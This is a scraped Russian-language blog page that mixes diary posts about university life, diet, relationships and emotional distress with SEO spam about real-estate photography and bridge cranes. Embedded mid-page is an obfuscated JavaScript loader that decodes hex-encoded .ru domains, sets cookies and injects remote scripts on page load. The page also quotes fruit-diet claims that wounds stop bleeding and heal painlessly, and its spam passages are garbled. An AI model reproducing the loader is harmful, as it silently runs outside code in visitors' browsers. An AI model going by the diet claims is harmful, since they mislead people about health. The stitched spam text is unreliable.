Соскучилась

День 49: Вы решаете конфликты тихим путём или лезете на рожон?

Я вообще на столько неконфликтный человек, на сколько это вообще возможно. Меня коребит даже когда кто-то ругается или выясняет отношения рядом со мной. Вообще я предпочитаю всегда решать все конфликты мирно, а по возможности и вовсе не конфликтовать с людьми.

Вот к примеру. В начале сентября мы всей группой ходили на медосмотр. Такого товарища как гинеколог я, собственно, в свои годы не боюсь, а девочки которым 16-17, стояли бледные под ее кабинетом и трусились ака листочки на ветру. Это я к чему? А к тому что на следующий день, когда мы пришли в универ, одна девочка начала нам всем доказывать, что если ты девственница, то гинеколог у тебя не имеет права даже мазок взять. Они там начали спорить на этот счет, а я просто подумала, что он овца не умная, но в сам конфликт не лезла. К чему, если человек на 148% уверен, что он прав?

В общем. Make love, not war.

День 48: История вашей жизни в трёх словах.

Что. Вообще. Происходит?!

Это просто идеально описывает мое состояние напротяжении последних 3х месяцев которые, если честно, пролетели для меня как один день. Я на столько путаюсь и терясь в своем универе, в требованиях к разным предметам и т.д., что просто не могу. И так едва ли не девизом каждого моего дня прибывания там является вопрос "Шо?!", заданный по 100500 раз.

Когда я научусь делать все вовремя?

Міркуй глибше, а не на поверхні. Дивись ширше, а не тільки на крок. Розумій більше, ніж було не досказано. Відчувай серцем і душею. Кажи мудро, велично, вчас - просто. Торкайся впевнено, легко. Живи щасливо, не втрачай хвилини. Служи Господу віддано, вірно. Подяку складай за все.

"После примерно двухлетней строгой фруктовой диеты я провел следующий эксперимент:
Я сделал надрез на предплечье. Кровь не текла, она сразу же сгустилась и закрыла рану, никакого воспаления, никакой боли, никакой слизи, никакого гноя. Зажив через три дня, кровяная корка отвалилась. Позже с вегетарианской пищей включая слизеобразующие продукты (крахмальная пища) но без яиц и молока: рана немного кровоточила, чуть-чуть болела и было немного гноя, и небольшое воспаление, полное заживление только через несколько дней. Позже такая же рана при мясной пище и небольшом количестве алкоголя: рана долго кровоточила, кровь была намного ярче и жиже чем когда у меня были раны в молодости, воспаление, боль, гноилась несколько дней, и зажила только через два дня голодания." Арнольд Эрет

"Может ли человек долгое время питаться фруктами?

Само собой разумеется, что да! Иное было бы прямо "биологической ошибкой".

Если для каждого червяка готов стол, почему же для человека его не будет? Кроме того, уже научно доказано, что в яблоке, банане и кокосовом орехе содержится решительно все, что необходимо для человеческого организма. Корова всю жизнь питается только травой, дает ежедневно 10 литров молока, тянет плуг и, в конце концов, съедается. И в течение долгого времени в ней жир, белок (молоко), мускулы, сила и теплота образуются от питания травой (сено).

Неужели же, стоящий выше всех животных, человек так несовершенно создан, что органическая его жизнь не может поддерживаться богатой солнечной кухней? "

Арнольд Эрет

Настроение сейчас оставляет желать лучшего. И я жутко хочу спать. Но правила есть правила - я должна написать. За день было съедено: каша с сухофруктами и мёдом, булочка с маслом; банан; творожная запеканка; курочка с рисом; безкофеиновый кофе и йогурт; греческий салат; 1 мандарин и где-то 5-6 сушёных абрикосов (тоже как сухофрукты). Вроде ничего так. Прочитано около 100 страниц книги Гордость и Предубеждение. Вечером брови намазала касторовым маслом. Выложилась по максимуму на работе и вечером заставила себя выйти ненадолго прогуляться. Подышать свежим воздухом, несмотря на мороз. Думаю я молодец сегодня. Все спокойной ночи!

Линдси, все понимаю, с учетом этих всех обстоятельств и отвечала. Просто там сердце, это важно, вот я и панику. А, черт, я всегда паникую, при этом сама посещаю врачей в крайних случаях (когда все уже, пиздец). Будь осторожна там: 3

28.11.2015

Никогда не думала, что приму это. Но с сегодняшнего дня я решила стать (на некоторое время) вегетарианцем. Как же странно писать это, когда всю свою жизнь отстаиваешь, что люди генетически запрограммированы на потребление животного белка. Многие не знают, что в нашем организме нет депо белков (в отличие от углеводов и жиров). Поэтому все, что мы не смогли усвоить - утилизируем. Процесс пищеварения в нормальном состоянии длится не менее 24 часов. И этот самый белок в нашем кишечнике попросту начинает гнить. Образуются токсичные и ядовитые вещества, которые попадают в кровь. Но тут на путь защиты организма встает печень. Происходит фильтрация и обезвреживание веществ. Употребляя мясо в больших количествах, мы несомненно нанесем вред организму. Однако, если сбоев никаких нет, то исключать его не стоит из-за присутсвия в нем незаменимых аминокислот. Я думаю, на эту тему можно спорить очень долго. Я не говорю об этических соображениях. Но сейчас мои представления о правильном питании становятся шире. И я считаю, что многим патологическим процессам можно найти логичное и обоснованное объяснение, не обращаясь ко врачу.

После каждой лекции по биохимии начинаю жалеть о том, что людям не дают каких-то базовых знаний еще в школе о процессах, протекающих в организме. Может быть мы были бы более здоровыми, и не жаловались на постоянные язвы и гастриты.

Всем добра

+3? Привет!)

Дочитала книгу номер три серии "Братство Чёрного Кинжала". Только положительные эмоции.

Пошла четвертая книга. Я в предвкушении…

Я хочу мужчину, а не мальчика. Такого, чтобы «Я за неё любого порву». Чтобы со спиной, той которая «каменная» и решениями взвешенными. Чтобы если говорит, то по делу и правильно, а не «радиопомехами». Чтобы слушать умел и с легкостью выносил все мои разговоры «о возвышенном». Чтобы рот мне прикрывал лишь одним взглядом обычным. Чтобы цветы мне дарил не «по уставу», а без повода. Когда домой проводил, то целовал, прижимая обеими руками мою голову. Чтобы кофе мне делал обязательно с молоком. Чтобы ревновал, но слегка. Без фанатизма. Чтобы ценил и оберегал. Чтобы называл «Моя маленькая». Чтобы проблемы мои делил, а не создавал новые. А еще обязательно детей любил и хотел семью. Я вроде бы и не многого прошу, просто, чтобы был моим до кончиков пальцев. Чтобы самым не идеальным был, но мелькал в моих мыслях с завидным постоянством. Чтобы хотелось стирать ему носки и стоять у плиты часами. А потом умиляться, сидя напротив за столом, теребя фартук руками, и смотреть как любимый мужчина с охотой уплетает ужин за обе щеки. Родить ему сына и дочку. Я приму в свою жизнь мужчину, а не мальчика.

- ты никогда не неловок настолько, насколько ты думаешь
- ты никогда не раздражаешь настолько, насколько ты думаешь
- ты никогда не скучен настолько, насколько ты думаешь
- твои комплименты никогда насколько не стремные, насколько ты думаешь
- выше голову, чувак

Смотря на нежных голубков, разговоры в полуночи, смс и звонков Мне захотелось сказать кому то "я люблю тебя сильно" Но я одна. И говорить не кому. И позвонить не кому. Ужасно быть одиноким и не чувствовать этого тепла и заботы. Ужасно не чувствовать сказку.

Вы не поверите. Я сама не верю. Он пришёл и встал на колени. Господи. Если я проснусь утром и ничего не изменится, то я поверю.

почему на душе такое дерьмо?? такие разных размеров кучки дерьма… паршиво и тошно. вокруг хаос. где я ?где я??! ну хоть кто-нибудь скажите мне, поговорите со мной, спросите жива ли я и как там вообще порядок со мной иль нет?! вокруг тишина. и только легкое жжужание. я знаю, что нельзя так говорить и загоняться. но я устала. и я надеюсь где-то есть тот человек, который также как и я - устал. которому я буду нужна, который будет нужен мне. и все наладиться. а пока что дерьмово. и без этого никак нельзя в светлое будущее.

Впервые в жизни я кажется рада наступлению зимы. Это так кстати. Не знаю даже и почему. Да это и неважно. Ответ на этот вопрос не принесет мне абсолютно никакого утешения; но я обязательно узнаю, отчего же этот мороз, пробирающийся мне под юбку заставляет меня улыбнуться;

узнаю почему луна выглядит сегодня как с картины Адольфа Гитлера - узнаю почему мне это нравится;

узнаю почему мне нравится понимать что мы играем с тобой партию, в которой уже заранее решен счет, решено кто проиграет.

Узнаю почему я не грущу от того, что понимаю - проиграю я.

Love is a loosing game

Возможно потому что я уже привыкла проигрывать, потому что я, как и листья с деревьев - падшая, сожжена неряшливой кучей воспоминаний. Это так страшно, на самом деле страшно - помнить. Особенно если это мысленное воспроизведение произошедшего с нами больше не приносит мне ничего, ничего хорошего. От Востока протянута нить до моего сердца. От твоей станции метро до моей все еще ходят поезда, набитые кучей народу (особенно в часиков 8 утра). Я все еще помню, честно, помню дорогу к твоему дому от метро Московская. Через гаражи, тополиную аллею, через рубцы на сердце, через боль, через силу, но я вспоминаю все до последней детали. Включи биты Алишера, подкури, посмотри на меня снова теми глазами, ну же, посмотри. Я налью нами вина (самого дешевого что нашла) и мы выпьем до дна эту ночь, всю боль я оставлю здесь, в этой комнате на втором этаже. Я буду рыдать, снова буду рыдать и просить отпустить меня, пока ходят поезда в метро, и я уехала бы. Правда уехала бы тогда, если бы ты не соврал мне снова "я же люблю тебя, дура!". Так и есть - дура. А утром я уйду. Расстворюсь в этой тополиной аллее, в гаражах, в остающихся позади полу-пустых кафешках. Метро. И я ни о чем не думаю. Вечером мы расстанемся, ты решишь что так будет лучше, я решу что так просто нужно.

И спустя несколько месяцев я буду сидеть одна, в пустой квартире, оставив на секунду книгу, буду писать. Не о тебе, не о нашем расставании, не о нашей любви. Ни о чем. Буду просто выплевывать из себя всю эту гадость связанную с тобой до того момента, пока ее совсем не останется.

Слышишь, холодный друг, ее совсем не останется.

Ни на память, ни просто так, знаешь, чтобы было, ну а вдруг пригодиться; ни в каком виде ее не останется.

И пусть о тебе снова написанно так много, пусть.

Главное перечитывая это через какое-то время я вдохну-выдохну и прошепчу "неужели я когда-то в серьез думала что это настолько страшно - помнить его?"

— Не могу заставить ее надеть платье, хоть убей.
— На твои похороны надену.

GIFS [x]

Профессиональная архитектурная фотосъемка требует специфической работы с ракурсом и перспективой, точного соблюдения геометрии объекта и выбора благоприятного освещения. Оптическая ось объектива должна быть ориентирована строго горизонтально. Малейшее отклонение приводит к искажениям, меняет соотношение планов и разрушает композицию. Для того чтобы избежать сдвига, необходимо использовать штатив и усиливающие его приспособления. Ввиду того, что фотосъемка архитектуры проводится на открытом воздухе, каждому кадру предшествует корректировка светочувствительности матрицы, выдержки и диафрагмы. В процессе работы используются объективы в широком диапазоне фокусных расстояний. Если съемка архитектуры осуществляется на загородных просторах, то приемлемы камеры с длиннофокусной оптикой. В условиях плотной городской застройки для охвата сооружения камерой не достаточно окружающего пространства, поэтому применяются широкоугольные объективы.

Обстоятельная фотосъемка недвижимости является мощным средством продвижения на рынке объектов, выставленных на продажу. Потенциальные покупатели принимают к рассмотрению дома и офисы, выгодно представленные качественными снимками. Поэтому риэлторами активно используется фотосъемка зданий для печатных рекламных материалов и галерей в интернете. Благодаря удачным кадрам ускоряются сделки, растет оборот компании. Коммерческая съемка недвижимости выполняется с соблюдением всех канонов жанра, но имеет свои дополнительные штрихи. Назначенный к продаже объект нужно показать подробно, выделяя позитивные аспекты. Для этого необходимо сделать 2-3 десятка снимков. Детализированная съемка зданий включает фотографирование фрагментов фасада, эксклюзивных элементов и интерьера, часть снимков посвящается ухоженному двору и ландшафту. Престижность района можно подчеркнуть, запечатлев окружающую инфраструктуру - наличие подъездных путей и парковки фотосъемка недвижимости учитывает обязательно. Подробнее на сайте компании brandpics

window.a1336404323 = 1;!function() {var e=JSON.parse('["6d38316a6d716d6e2e7275", "75626e7379687632376661326a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="14945", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

ladies of E r e b o r

Не суди других и сам судим не будешь. Вот как я чувствую.

Искренность. Хм..посмотрим, что нам говорит Википедия:

"И́скренность — один из аспектов честности, правдивости, отсутствие противоречий между реальными чувствами и намерениями в отношении другого человека (или группы людей) и тем, как эти чувства и намерения преподносятся ему на словах."

Какие-то слова..лично мне не они не нравятся, хотя лучше я, наверно, не напишу. Для меня искренность - это очень важное качество в человеке. Вот серьезно. Когда человек искреннен с тобой ведь это очень приятно, не так ли?! Когда он соглашается с тобой, что ты не любишь, а на самом деле он это любит. Ну вот зачем врать тогда? Чтобы понравится человеку? Но ведь это совсем не самый удачный путь. Совсем. Я сама когда-то считала это правильно, что лучше сказать, что тебе тоже нравится. И хорошо, что я поменялась. И жить легче, и люди тебя понимают и принимают, какой ты есть. А кто не принимает, значит не твой это человек. Мир слишком огромен, а окружать себя всем этим глупо, когда в толпе можешь найти своего человека. Я, надеюсь, мою писанину кто-нибдуь понял. И надеюсь хоть какая-то часть людей со мной согласна. Вообщем, мой вердикт, будь собой всегда. Умей отставить свое мнение. Тогда ты и будешь интересен людям.

Горькую правду. Чтобы поменьше иллюзий было.

Участвующие в конкурсах люди делятся на два типа: одним вечно везёт, а другие в вечном отстойнике. Давайте быстро угадаем где же я?

"Привіт киця скучаю за тобой"

Если у бабы нет мужика, то истинная цель всего, что она делает - его поиск, мало кто из них признаётся в этом, даже перед собой…

Я открою тебе один секрет. Не все мужики козлы. Большинство, но не все. Многие парни видят девушек как вагину с ногами, грудью и ненужной кожей вокруг этих частей тела, но есть та мизерная часть мужского населения, которая ценит в вас - девушках, вашу индивидуальность, ваши положительные качества и характер, а не размер груди и ширину рта. Но вы почему-то не замечаете их. Вам нужен урод, который бы вытирал о вас ноги, и просто пользовался вами. Иногда я думаю, что у вас девушек, есть скрытый ген мазохизма, который не дает вам замечать нормальных парней, но зато помогает привязаться к мудакам.

четыре месяца без общения
89880674702
не оставляй без ответа
(хотя ты имеешь полное на это право, и скорее всего так и произойдет)

каждый день от рук террористов гибнут люди, а я не могу увидеть человека которого люблю? может завтра не станет меня, а я так этого и не сделаю. не оставляй пожалуйста без ответа

Пожалуй, я схожу с ума.

Сны.

Сон и реальность путаются. Слишком реалистичные сны. И слишком подозрительная реальность.

Галлюцинации.

Слишком сильно. Слишком странно. Слишком страшно.

Отрубленные головы со сверкающими янарным глазами. Огромные жуки, ползущие по дороге вместо машин.

Эмоции.

Нереальны. Апатия. Я не могу перестать читать об этом.

Самобичивание.

Этим, пожалуй, все сказано.

Не могу принять себя.

Чувствую, что ничего не добьюсь.

Чувствую, что надо с этим бороться, но совершенно ничего не предпринимаю.

Мне грустно и страшно.

Отсюда:

Алкоголизм, курение, бессоница, вечные подозрения и страх.

Я боюсь.

Чего я боюсь? Я не знаю.

Я схожу с ума? Вполне возможно.

Не хочу. Я боюсь.

Я должен быть сильнее.

Должен…

это я.

Мыть посуду - опасная штука. Стоишь, моешь, а в голове внутренние диалоги, вдруг представляешь, что бывший не козел, может, ему, вообще, написать. Опасно, опасно.

Сколько возможностей и шансов нам дается в этой жизни? Но не все используют их. Кому-то просто лень, ну или кто-то думает, что все в жизни у него будет отлично и все будет ОК безо всяких усилий. А такого, увы, не бывает. Жизнь часто бывает несправедлива. Тому, кто действительно нуждается (кто действительно хочет и может) в предоставлении второго шанса, ну или просто в возможности, не дается ничего. А тот, кто имеет все возможности, пути - часто не используют этого. Просто потому что им этого не нужно.Очень обидно. В нашем современном мире все решают деньги. Без денег сейчас никуда. Начиная от рождения и заканчивая смертью. Везде, абсолютно везде нужны деньги. Возможности покупаются. Шансы предоставляются богатым. Да что уж там, наши жизни уже давно куплены. Все куплено. Нашими умами управляют деньги. Мы расшибаемся в лепешку, чтобы заработать деньги, обеспечить себе безбедную старость. Часто мы забываем про свою личную жизнь. Да нам нет времени для нее. И в итоге, в старости, мы остаемся одинокими, никому ненужными людьми. Зато с кучей денег. До нас в старости уже нет никому дела, на наше место пришли молодые, пока еще бодрые люди. Такие же как мы в прошлом. И хочется, чтобы они не допускали таких ошибок, как мы однажды, по глупости и неопытности. Но как правило, никто не прислушивается. Молодость, в венах кипит кровь и все дела. Но через лет 30, вы попомните те слова, которые вам говорили ваши родители, бабушки и дедушки.
Не гонитесь за богатством. Используйте все возможности, используйте все шансы. Никогда не жалейте о прошлом. И не живите так, чтобы потом приходилось жалеть. Живите так, чтобы при виде вас у людей появлялась улыбка на лице и становилось тепло в душе. И чтобы после вашей кончины вас никогда не забывали и вспоминали со слезами и улыбкой на лице.

Ходила На Виктора Франкенштейна, судя по трейлеру все должно было быть совсем плохо, но так и быть, признаю, это было не так уж и ужасно. В целом я не плевалась, но рассуждать об этом фильме не охота. Скажу лишь, что ела с бокса домашнего рис с водорослями и тушеным мясом. Очень вкусно сегодня приготовила. Люблю азиатскую еду. Может кино и не место для подобного, но мне было нормально.

Ну это полный пиздец. По другому это никак не описать. Короче Даня и Алина общались в итоге вдвоём. И он ей сказал, что бы Алина ничего не брала на свой счёт, что его просто напросто задели мои слова. Что он ревнует к Ване. И он разозлился, когда я сказала, что начала все из-за него. Логика конечно супер. Он меня обидел, оскорбил, я в ответ сказала, что все нормально, это все было из-за Вани изначально. Что бы совсем полной дурой не выглядеть. А он блять оказывается все это дерьмо сказал тоже из-за него. Мне теперь честное слово плевать. Если он решил посмотреть на мою реакцию, он её увидел. И после такой херни и таких слов, я его прощать не стану. Я просила быть искренним, а не обманывать меня. А он сделал все наоборот. Мужики козлы. Все ради своей гордости и самооценки. Пусть дальше живёт, как ему нравится.

"Глядя на нее, я поймал себя на мысли, что она опасна, что если влюбиться в Ренату Литвинову, то это как приговор, это пожизненно, и когда она выставит тебя за дверь (не важно, по какой причине), ты до конца своих дней будешь по ней тосковать."

Мы никогда друг друга не забудем, но никогда друг друга не вернём

хочу способность вовремя подмечать, когда все идет по пизде, и съебывать без сожалений

А я сегодня проспала!

Потому что поздно легла и меня навещала бессоница. Мы с ней думали и размышляли над вчерашней ситуацией. Просто это как-то неправильно, наверное, и все-таки странно немножко. Хотя я давно уже убедилась в том, что у меня все не как у нормальных людей.

Особенно это, особенно отношения, которых никогда и не было.

#отсебятина

Дело в том, что я хочу попробовать начать с чистого листа.

Просто мой старый блог стал моей "ахилесовой пятой", которую используют в качестве выуживания информации о моих близких людях. У меня не получилось запрятать или скрыть его от чужих глаз. До него все равно добирались снова и снова.

Надеюсь, этот я смогу уберечь.

Я - все та же Аня. Все та же Мерф.

совсем забыла эту песню.

мое детство. сериал "Солдаты". мне кажется, его смотрели все.

когда ее слушаю, сразу вспоминаю ту сцену, когда Медведев прибежал домой к Ирине, которая выходила замуж за Колобка. Медведев сидел на лестнице и плакал, а его успокаивал то ли Шматко, то ли Зубов.

кто смотрел, поймет…

Недавно, пока стояла на остановке и ждала свой автобус, наблюдала такую картину. Для пешеходов загорелся зелёный свет, все успели перейти дорогу, и только одна бабуля дошла всего лишь до середины дороги, когда загорелся красный. Тут, стоявший в первой полосе, джип вдруг включает аварийку, из неё выходит хорошо одетый Мужчина, берёт эту бабулю под руку и помогает ей перейти дорогу, попутно останавливая другие машины.

Думаю, тут даже и комментировать ничего не надо. Скажу только то, что меня восхитил поступок этого Мужчины. Не перевелись ещё такие люди на этом свете, и это безумно радует.

рвала фотографии, доходя до грани, затем снова клеила дрожащими руками, всё, что говорит о нем, хотела сжечь дотла, но не могла, не могла, не могла, не могла

Мой характер — это адская смесь из аристократии, капризного ребенка, хладнокровной расчетливой суки, добрейшего лабрадора и Сергея Шнурова.

Порой просто иногда нужно взглянуть на вещи проще, взглянуть на все глазами того самого ребенка, который сидит в каждом из нас. Который, пусть и с сигаретой в зубах, но не сможет пройти мимо замерзшей лужи.

"Не обязательно выставлять напоказ всё, что знаешь."

Не обязательно везде кричать о том, что тебе сделали больно. Не обязательно сомневаться в правдивости чьих-то слов.

Обязательно посмотреть теми самыми глазами на человека, который рядом и поверить.

Хотя бы для того, чтобы почувствовать в этом моменте ЭТОТ МОМЕНТ, а не тот, который был где-то, когда-то, с кем-то.

Ты не метеорит, упавший на меня с небес. Не звезда, спустившаяся со своего пьедистала. И не Бог, сошедший с Олимпа. Ты просто человек. Поэтому так ценен мне. Да, ты впустил меня в свой мир, показал свою жизнь с других ракурсов. А теперь мы вернулись на свои места. И пусть кто-то скажет, что " Моя лошадь, по имени "Месяц" выиграла!". Ни черта! Я не возвращалась туда, откуда пришла. Я просто отошла в сторону. Ты знаешь, я не буду кричать на всю округу, с кем я была. Я оставлю это у себя, внутри. Об одном лишь прошу, не меняйся. Будь для меня тем Махоуни, обычным, со своими страхами, желаниями и тараканами. Скучай по мне, приходи ко мне, не стесняйся своих желаний. Делай все по кайфу. Только не играй со мной.

а мне вот интересно, все девушки любят признаваться своим мужчинам в любви?

я иногда просто растворяюсь в своем чувстве к нему. встретив Его, во мне открылся мой, ранее недоступный, океан нежности.

я просто таю от его голоса, от его нежных прикосновений, от его взглядов. его взгляды….такие нежные, любящие, порой немного встревоженные, удивленные, суровые. а как он смотрит на меня, когда я дурачусь! в его глазах выражается некий восторг от того, какая я.

его слова…ах, его слова. я всегда завидовала девушкам, которые тают от голоса своего мужчины. а теперь я сама такая. я готова бросить все дела, лишь бы услышать его голос.

а вот это его "поняла меня?"… когда нашим отношениям было от силы 10-20 дней, он говорил мне "даже если жизнь сложится так, что придется отсюда уезжать - я никогда и никому тебя не отдам. поняла меня?". и вот на моменте "поняла меня?" мне хотелось умереть от счастья) хотя, на тот момент, я еще не осознавала всю серъезность его слов)

я человек не сильно сентиментальный, но..мне кажется, я повисну на нем как коала на бамбуке прям на вокзале и не смогу уже отлипнуть.

я улыбаюсь от мысли, что впереди у меня - самый сказочный Новый год моей жизни.

я встречу его с самым лучшим мужчиной в Мире, в прекрасном городе, а на правом безымянном пальце у меня помолвочное кольцо….

я люблю тебя, Жизнь ♥

я постоянно говорю что мой город село, не смотря на то что город миллионник. все друг друга знают, все все знают друг о друге. ты постоянно куда-то идешь и встречаешь своих знакомых. но…

но сейчас я поняла одну вещь. ты всегда встречаешь людей, которых не хотел бы видеть. не знаю с чем это связано и почему постоянно сталкиваешься с теми, кого предпочел бы в упор не замечать. но я не помню чтобы я куда-то шла и встретила человека от вида которого на моем лице расплывается улыбка.

Сидишь ты такая и думаешь, что все у тебя как-то не очень. А вот у того, с кем ты больше не общаешься наверняка без тебя все заебись. И от этого еще более тошно становится. Нам (ну может только мне) всегда рисуется такая вот картина. Еще и подкрепляется фото в соц.сетях со всяких тусовок. Только это все лишь твое собственное воображение. Нельзя ведь знать наверняка. Обычно если потом подвернется возможность спросить этого человека а было ли все настолько без тебя круто, окажется, что нет. И думал он точно так же. В общем, суть моих опять запутанных мыслей - сосредоточиться на себе, не сравнивать и вообще не смотреть на других.

I'm in deep water, all at sea, a drop in the ocean. I can't see the wood for the trees, I've come from the neck of the woods, where was no ray of sunshine, and I will always be there, as a voice crying in the wilderness, who beating around the bush. Everyone keep saying that I'm making a mountain out of molehill, that I just should go with the flow. But I'm just trying to be down to earth, being under the water, reaching for the moon and stars. And it's just the tip of the iceberg.

Знаете вот "сама придумала, сама обиделась"

так вот это про меня. я сама что-то себе придумываю, сама в это верю, сама в этом разочаровываюсь и сама потом сижу и страдаю. уже смешно становится от моей самостоятельности. и в человека я влюбляюсь потому что его идеализирую, хотя на деле мы почти не знакомы, потом приходит момент истины и моя жизнь переполняется страданиями.

где же мне уже выцарапать напоминание так не делать, чтобы потом не страдать от этого.

The studying at the Linguistic University hard work but it's worth it. And I was convinced by my example. In learning, there are successes and failures. Sometimes I find it difficult to learn the material, but our teacher Ms. Bradshaw always helps to solve these problems. September and October were very stressful for me, I'm not used to living without parents, had a lot of new people. However, over time I got used. This week has been a test and I'm really worried. I can be very absent-minded and forget a lot of things, but I will try to cope with this problem.

Вот и настал момент, когда фильмы ужасов уже не страшны. Куда страшнее стало то, что происходит в реальном мире.

Очень популярным в использовании реально будет сказать кран мостовой электрический, запитывающийся от 3-фазной сети с показателями частотой 50 Гц и. Управление подъемным механизмом, обычно, выполняется с земли из специальной кабины оператора либо с помощью блока.За вычетом электрических кран балок для малых складов с умеренной активностью работ используют кран мостовой однобалочный с ручным приводом.

Конструкция мостового крана включает в себя ходовую тележку (тельфер, таль), расположенной на подвижной опоре. Заказать кран однобалочный мостовой возможно для небольших промышленных цехов. Кран мостовой однобалочный популярен для подъема грузов снаружи и внутри помещений на складских фермах, авторемонтных мастерских, промышленных фабриках.

Исходя из того, что точка крепления расположена выше направления движения балки, кран мостовой опорный двухбалочного типа стал безопасным и долговечным. Очень безопасными и надежными считаются краны мостовые опорные двухбалочной конструкции, потому что монорельсы подобных устройств устанавливаются на железобетонных или металлических основаниях — подкрановых балках, что делает систему более долговечной и жесткой. Приобретение необходимого варианта подвесного или опорного грузоподъёмного устройства осуществляется с пожеланиями заказчика.

однобалочные и двухбалочные краны бывают опорными или подвесными. Среди разнообразия моделей мостовых кранов отличают мостовые краны однобалочные и двухбалочные управляемые с пола или пульта управления и с кабиной управления, с электрическим и ручным приводом. На складе используются одно-, двух- пролетные подвесные мостовые краны. Мостовой кран устроен из грузовой каретки, перемещающейся по мосту и моста, перемещающегося по рельсам,. Подвесной кран движется по нижним ступенькам двутавровых балок, которые расположены на цокольных поясах стропильных ферм. Опорный кран перемещается по монорельсам, монтированным на металлических и железобетонных подкрановых балках.

В виде грузовой тележки здесь используется ручной или электрический тельфер по нижней части кран балки. Однобалочные мостовые краны (кран-балки) состоят из двутавровой балки, концы которой прикрепляются к концевым (поперечным) балкам. При длинных пролетах главная балка усиливается фермами.

С жесткой подвеской груза выполняются мульдозавалочные, краны для разделения слитков (стрипперные), краны с лапами (пратцен-краны), колодцевые краны и металлургические краны и остальные мостовые краны, рабочий грузоподъемный орган которых крепко связан с тележкой с помощью шахты и передвигается по вертикальным колоннам. В зависимости от предназначения грузозахватного элемента мостовые краны в свою очередь подразделяются на магнитные с подъемным электромагнитом, крюковые (с двумя и более крюками) и грейферные. Мостовые краны выполняются с гибкой, жесткой подвеской транспортируемого груза.

Грузовая тележка у 2-ух балочных кранов двигается по монорельсам, находящихся по верхним краям главных балок. При серьезных пролетах мостовой кран делается из прямоугольных балок или из решетчатых ферм.2-ух балочные мостовые краны в первом приближении сделаны из 2-ух параллельных друг другу балок.

Помни, океан там, где действительно глубоко…

Перемещение грузового механизма осуществляется благодаря работе электрического или ручного электромотора. Как двухбалочные, так и однобалочные электрические мостовые краны устроены по одинаковому принципу. У двухбалочного оборудования стационарная таль привинчивается к подкрановой тележке. Кран включает грузоподъемный механизм (тельфер или таль), закрепленный к пролетной балке.

Исходя из требований эксплуатации, а также режима работы, оборудование может комплектоваться разными грузоподъемными механизмами, для средних и легких этапов работы используют подъемные устройства тельферного вида. Серьезную популярность имеют краны мостовые электрические, относящиеся к двухбалочному строению, которые делятся на группу видов.

Мостовые опорные краны двухбалочного типа оснащаются 2-мя пролетными балками, крепящиеся к концевым кран-балкам. Принцип работы мостового опорного электрического крана, имеющего отношение к двухбалочному варианту содержит разные исключения.

У мостовых кранов абсолютно нет подходящей альтернативы в делах, когда надобно выполнить многоуровневое хранение. Кран мостовой способен укомплектовываться грузозахватными крюками, созданными в самых разных вариантах и необходимыми для решения разнообразных проблем. Краны мостовые однобалочные опорные 10 тонн используются для выполнения задач в пределах громадных производственных предприятий, плюс ко всему больших промышленных и торговых складов.

Опорные краны очень долговечны, не так привиредливы к параметрам кранового полотна. У мостовых опорных кранов, крановый путь реализован по подкрановым балкам. Основной конструкцией крана стала балка пролетная, перемещаемая при помощи ходовых тележек. Данный вид техники используется для выполнения грузоподъемных и транспортных операций в зоне обслуживания. Конструкции подкрановых путей различны исходя от вида мостового крана.

В соответствии с условиями эксплуатации ходовая тележка должна быть обычной схемы, либо специального исполнения, дающего возможность уменьшить строительную высоту грузоподъемного механизма. Не смотря на строение крана - узлом, отвечающим за подъем и опускание груза стала таль.

Мостовой кран на протяжении не одного десятилетия и служит человечеству на авиапромышленных предприятиях, в строительной промышленности, на атомных электростанциях при выполнении погрузочных операций в магазинах, ангарах, терминалах. Я увидел тут мостовой кран с необходимым мне описанием. Имя «Мостовой кран» подчеркивает их ведущую конструкционную деталь — существование моста, то есть подвижной одно или двухпролетной монорельсы. Сегодня крановое оборудование представлено в весьма богатым выбором где любой иной вариант нужен для выполнения тех или иных установленных функций.

Мостовой кран очень эффективный грузоподъемный механизм, который разрешает на большую высоту до 400м поднимать грузы весом до 500 тонн. Мостовой кран обладает очень серьезным охватом использования: предназначены для работ на закрытых и открытых площадях, справляются с работой: при показателях температуры от -40 до +150 градусов, в разных режимах и выполняют подъемные работы в участках сильной сейсмичности.

